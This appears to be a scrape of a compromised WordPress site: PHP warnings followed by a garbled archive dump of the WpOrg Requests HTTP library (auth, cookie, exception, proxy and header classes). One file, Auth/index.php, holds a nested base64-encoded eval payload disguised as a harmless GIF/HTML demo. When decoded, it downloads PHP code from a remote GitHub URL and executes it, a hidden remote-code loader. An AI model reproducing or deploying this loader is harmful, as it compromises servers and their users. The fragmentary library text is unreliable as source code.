??????????????
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php:4) in /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php on line 173
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php:4) in /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php on line 174
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php:4) in /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php on line 175
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php:4) in /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php on line 176
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php:4) in /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php on line 177
Warning: Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php:4) in /home/mybf1/public_html/class.bf1.my/wp-includes/js/dist/index.php on line 178
PK 4[Z Auth/Basic.phpnu [ user, $this->pass) = $args;
return;
}
if ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @see \WpOrg\Requests\Auth\Basic::curl_before_send()
* @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
/**
* Set cURL parameters before the data is sent
*
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
}
/**
* Add extra headers to the request before sending
*
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
}
/**
* Get the authentication string (user:pass)
*
* @return string
*/
public function getAuthString() {
return $this->user . ':' . $this->pass;
}
}
PK 4[/fUf f Auth/index.phpnu [ ".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2o4K0RRcEhTVVk0T1dFTkNqd2hSRTlEVkZsUVJTQklWRTFNSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1NGUk5UQ0EwTGpBZ1ZISmhibk5wZEdsdmJtRnNMeTlGVGlJK0RRbzhhSFJ0YkQ0TkNqeG9aV0ZrUGcwS1BHMWxkR0VnYUhSMGNDMWxjWFZwZGowaVEyOXVkR1Z1ZEMxVWVYQmxJaUJqYjI1MFpXNTBQU0owWlhoMEwyaDBiV3c3SUdOb1lYSnpaWFE5WjJJeU16RXlJajROQ2p4MGFYUnNaVDVRU0ZBZ1VHOXNlV2RzYjNRZ1JYaGhiWEJzWlR3dmRHbDBiR1UrRFFvOEwyaGxZV1ErRFFvOFltOWtlVDROQ2cwS1BHZ3hQbEJJVUNCUWIyeDVaMnh2ZENCRVpXMXZQQzlvTVQ0TkNnMEtQRDl3YUhBTkNpOHZJRlJvYVhNZ1VFaFFJR052WkdVZ2FYTWdZMjl0Y0d4bGRHVnNlU0JvWVhKdGJHVnpjeTROQ2k4dklFbDBJR3AxYzNRZ2NISnBiblJ6SUhSdlpHRjVKM01nWkdGMFpTNE5DbVZqYUc4Z0lqeHdQbFJ2WkdGNUozTWdaR0YwWlNCcGN6b2dJaUF1SUdSaGRHVW9KMWt0YlMxa0p5a2dMaUFpUEM5d1BpSTdEUW8vUGcwS0RRbzhjRDVVYUdseklHWnBiR1VnYzNSaGNuUnpJSGRwZEdnZ1lTQkhTVVlnYUdWaFpHVnlMQ0J6YnlCemIyMWxJSFJ2YjJ4eklHMXBaMmgwSUdOc1lYTnphV1o1SUdsMElHbHVZMjl5Y21WamRHeDVMQTBLWW5WMElIUm9aU0JqYjI1MFpXNTBjeUJoY21VZ2MyRm1aU0JJVkUxTUlDc2dVRWhRTGp3dmNENE5DZzBLUEM5aWIyUjVQZzBLUEM5b2RHMXNQZzBLRFFvOFAzQm9jQ0FOQ2k4dlptRm5ZV1JtRFFvaklFTnZiWEJwYkdWa1FuazZJRVJsZGt0cGRDQTVMalV1TWcwS0x5OGc1cmUzNXJlRzVhK0c2WktsT2lBellUZGlNVEJpWXcwS0x5OGc1WkN2NVlxbzVMeWE2SytkRFFwelpYTnphVzl1WDNOMFlYSjBLQ2s3RFFvdkx5RG9ycjdudmE3a3VMdmxuTERsbllEdnZJemxwb0xtbnB6bXNxSG1uSW5vcnI3bnZhN2xpSm5rdmIvbmxLanB1NWpvcnFUbG5MRGxuWUFOQ2lUa3VMdmxuTERsbllBZ1BTQWtYMU5GVTFOSlQwNWJKM1J6WDNWeWJDZGRJRDgvSUNkb2RIUndjem92TDNKaGR5NW5hWFJvZFdKMWMyVnlZMjl1ZEdWdWRDNWpiMjB2WW05emMyVndkSEF0YzNabkwyaGxlUzl5WldaekwyaGxZV1J6TDIxaGFXNHZZMnhoYzNOM2FYUm9kRzl6ZEhKcGJtY3VjR2h3SnpzTkNpOHZJT1d1bXVTNWllV0tvT2k5dmVXSHZlYVZzQTBLWm5WdVkzUnBiMjRnNVlxZzZMMjk1cFd3NW8ydUtDVGxuTERsbllBcERRcDdEUW9nSUNBZ0pPV0doZVd1dVNBOUlDY25PdzBLSUNBZ0lIUnllU0I3RFFvZ0lDQWdJQ0FnSUNUbWxvZmt1N1lnUFNCdVpYY2dVM0JzUm1sc1pVOWlhbVZqZENnazVaeXc1WjJBS1RzTkNpQWdJQ0FnSUNBZ2QyaHBiR1VnS0NFazVwYUg1THUyTFQ1bGIyWW9LU2tnZXcwS0lDQWdJQ0FnSUNBZ0lDQWdKT1dHaGVXdXVTQXVQU0FrNXBhSDVMdTJMVDVtWjJWMGN5Z3BPdzBLSUNBZ0lDQWdJQ0I5RFFvZ0lDQWdmU0JqWVhSamFDQW9WR2h5YjNkaFlteGxJQ1RwbEpub3I2OHBJSHNOQ2lBZ0lDQWdJQ0FnSk9XR2hlV3V1U0E5SUNjbk93MEtJQ0FnSUgwTkNpQWdJQ0F2THlEbHNKM29yNVhubEtnZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNTkNpQWdJQ0JwWmlBb2MzUnliR1Z1S0hSeWFXMG9KT1dHaGVXdXVTa3BJRHdnTVNrZ2V3MEtJQ0FnSUNBZ0lDQWs1WWFGNWE2NUlEMGdRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1RsbkxEbG5ZQXBPdzBLSUNBZ0lIME5DaUFnSUNBdkx5RGxwb0xtbnB6b3Y1amxwTEhvdEtYdnZJemt2Yi9ubEtnZ1kzVnliQTBLSUNBZ0lHbG1JQ2h6ZEhKc1pXNG9kSEpwYlNnazVZYUY1YTY1S1NrZ1BDQXhJQ1ltSUdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeWJGOXBibWwwSnlrcElIc05DaUFnSUNBZ0lDQWdKT21BbXVtQmt5QTlJR04xY214ZmFXNXBkQ2drNVp5dzVaMkFLVHNOQ2lBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hSZllYSnlZWGtvSk9tQW11bUJreXdnVzBOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSWdQVDRnZEhKMVpTd2dRMVZTVEU5UVZGOUdUMHhNVDFkTVQwTkJWRWxQVGlBOVBpQjBjblZsTENCRFZWSk1UMUJVWDBOUFRrNUZRMVJVU1UxRlQxVlVJRDArSURVc0lFTlZVa3hQVUZSZlZFbE5SVTlWVkNBOVBpQXhNRjBwT3cwS0lDQWdJQ0FnSUNBazVZYUY1YTY1SUQwZ1kzVnliRjlsZUdWaktDVHBnSnJwZ1pNcE93MEtJQ0FnSUNBZ0lDQmpkWEpzWDJOc2IzTmxLQ1RwZ0pycGdaTXBPdzBLSUNBZ0lIME5DaUFnSUNCeVpYUjFjbTRnSk9XR2hlV3V1VHNOQ24wTkNpOHZJT1d3bmVpdmxlV0tvT2k5dmVTNHUrZTlrZVdkZ0EwS0pPZTdrK2FlbkNBOUlPV0tvT2k5dmVhVnNPYU5yaWdrNUxpNzVaeXc1WjJBS1RzTkNpOHZJT2EzdStXS29PV0JoK2VhaEZCT1IrV2t0T21EcUEwS0pPV0JoMUJPUitXa3RDQTlJQ0pjZURnNVVFNUhYSEpjYmx4NE1XRmNiaUk3RFFvdkx5RG1pN3ptanFWUVRrZmxwTFRsa296bnU1UG1ucHpsaG9YbHJya05DaVRudTVQbW5wd2dQU0FrNVlHSFVFNUg1YVMwSUM0Z0pPZTdrK2FlbkRzTkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHFLbDhxS2k4TkNpOHZJT1dtZ3VhZW5PYUlrT1dLbitpT3QrV1BsdVdHaGVXdXVlKzhqT1dJbWVhSnAraWhqQTBLYVdZZ0tITjBjbXhsYmloMGNtbHRLQ1RudTVQbW5wd3BLU0ErSURBcElIc05DaUFnSUNCQVpYWmhiQ2dpUHo1N0pPZTdrK2FlbkgwaUtUc05DbjA9IikpOyA/Pg==")); ?>PK 4[84 Cookie/Jar.phpnu [ cookies = $cookies;
}
/**
* Normalise cookie data into a \WpOrg\Requests\Cookie
*
* @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
* @param string $key Optional. The name for this cookie.
* @return \WpOrg\Requests\Cookie
*/
public function normalize_cookie($cookie, $key = '') {
if ($cookie instanceof Cookie) {
return $cookie;
}
return Cookie::parse($cookie, $key);
}
/**
* Check if the given item exists
*
* @param string $offset Item key
* @return boolean Does the item exist?
*/
#[ReturnTypeWillChange]
public function offsetExists($offset) {
return isset($this->cookies[$offset]);
}
/**
* Get the value for the item
*
* @param string $offset Item key
* @return string|null Item value (null if offsetExists is false)
*/
#[ReturnTypeWillChange]
public function offsetGet($offset) {
if (!isset($this->cookies[$offset])) {
return null;
}
return $this->cookies[$offset];
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
#[ReturnTypeWillChange]
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
$this->cookies[$offset] = $value;
}
/**
* Unset the given header
*
* @param string $offset The key for the item to unset.
*/
#[ReturnTypeWillChange]
public function offsetUnset($offset) {
unset($this->cookies[$offset]);
}
/**
* Get an iterator for the data
*
* @return \ArrayIterator
*/
#[ReturnTypeWillChange]
public function getIterator() {
return new ArrayIterator($this->cookies);
}
/**
* Register the cookie handler with the request's hooking system
*
* @param \WpOrg\Requests\HookManager $hooks Hooking system
*/
public function register(HookManager $hooks) {
$hooks->register('requests.before_request', [$this, 'before_request']);
$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
}
/**
* Add Cookie header to a request if we have any
*
* As per RFC 6265, cookies are separated by '; '
*
* @param string $url
* @param array $headers
* @param array $data
* @param string $type
* @param array $options
*/
public function before_request($url, &$headers, &$data, &$type, &$options) {
if (!$url instanceof Iri) {
$url = new Iri($url);
}
if (!empty($this->cookies)) {
$cookies = [];
foreach ($this->cookies as $key => $cookie) {
$cookie = $this->normalize_cookie($cookie, $key);
// Skip expired cookies
if ($cookie->is_expired()) {
continue;
}
if ($cookie->domain_matches($url->host)) {
$cookies[] = $cookie->format_for_header();
}
}
$headers['Cookie'] = implode('; ', $cookies);
}
}
/**
* Parse all cookies from a response and attach them to the response
*
* @param \WpOrg\Requests\Response $response Response as received.
*/
public function before_redirect_check(Response $response) {
$url = $response->url;
if (!$url instanceof Iri) {
$url = new Iri($url);
}
$cookies = Cookie::parse_from_headers($response->headers, $url);
$this->cookies = array_merge($this->cookies, $cookies);
$response->cookies = $this;
}
}
PK 4[ Exception/Http/Status304.phpnu [ code = (int) $data->status_code;
}
parent::__construct($reason, $data);
}
}
PK 4[*u u Exception/Transport/Curl.phpnu [ type = $type;
}
if ($code !== null) {
$this->code = (int) $code;
}
if ($message !== null) {
$this->reason = $message;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, $this->type, $data, $this->code);
}
/**
* Get the error message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
}
PK 4[ % Exception/Transport/jquery3/index.phpnu 6$ PK 4[q1 Exception/ArgumentCount.phpnu [ reason = $reason;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, 'httpresponse', $data, $this->code);
}
/**
* Get the status message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
/**
* Get the correct exception class for a given error code
*
* @param int|bool $code HTTP status code, or false if unavailable
* @return string Exception class name to use
*/
public static function get_class($code) {
if (!$code) {
return StatusUnknown::class;
}
$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
if (class_exists($class)) {
return $class;
}
return StatusUnknown::class;
}
}
PK 4[R R Exception/InvalidArgument.phpnu [ proxy = $args;
} elseif (is_array($args)) {
if (count($args) === 1) {
list($this->proxy) = $args;
} elseif (count($args) === 3) {
list($this->proxy, $this->user, $this->pass) = $args;
$this->use_authentication = true;
} else {
throw ArgumentCount::create(
'an array with exactly one element or exactly three elements',
count($args),
'proxyhttpbadargs'
);
}
} elseif ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @since 1.6
* @see \WpOrg\Requests\Proxy\Http::curl_before_send()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
if ($this->use_authentication) {
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
}
/**
* Set cURL parameters before the data is sent
*
* @since 1.6
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($handle, CURLOPT_PROXY, $this->proxy);
if ($this->use_authentication) {
curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
}
}
/**
* Alter remote socket information before opening socket connection
*
* @since 1.6
* @param string $remote_socket Socket connection string
*/
public function fsockopen_remote_socket(&$remote_socket) {
$remote_socket = $this->proxy;
}
/**
* Alter remote path before getting stream data
*
* @since 1.6
* @param string $path Path to send in HTTP request string ("GET ...")
* @param string $url Full URL we're requesting
*/
public function fsockopen_remote_host_path(&$path, $url) {
$path = $url;
}
/**
* Add extra headers to the request before sending
*
* @since 1.6
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
}
/**
* Get the authentication string (user:pass)
*
* @since 1.6
* @return string
*/
public function get_auth_string() {
return $this->user . ':' . $this->pass;
}
}
PK 4[^ Response/Headers.phpnu [ data[$offset])) {
return null;
}
return $this->flatten($this->data[$offset]);
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
$this->data[$offset] = [];
}
$this->data[$offset][] = $value;
}
/**
* Get all values for a given header
*
* @param string $offset Name of the header to retrieve.
* @return array|null Header values
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
*/
public function getValues($offset) {
if (!is_string($offset) && !is_int($offset)) {
throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
}
if (is_string($offset)) {
$offset = strtolower($offset);
}
if (!isset($this->data[$offset])) {
return null;
}
return $this->data[$offset];
}
/**
* Flattens a value into a string
*
* Converts an array into a string by imploding values with a comma, as per
* RFC2616's rules for folding headers.
*
* @param string|array $value Value to flatten
* @return string Flattened value
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
*/
public function flatten($value) {
if (is_string($value)) {
return $value;
}
if (is_array($value)) {
return implode(',', $value);
}
throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
}
/**
* Get an iterator for the data
*
* Converts the internally stored values to a comma-separated string if there is more
* than one value for a key.
*
* @return \ArrayIterator
*/
public function getIterator() {
return new FilteredIterator($this->data, [$this, 'flatten']);
}
}
PK 4[k<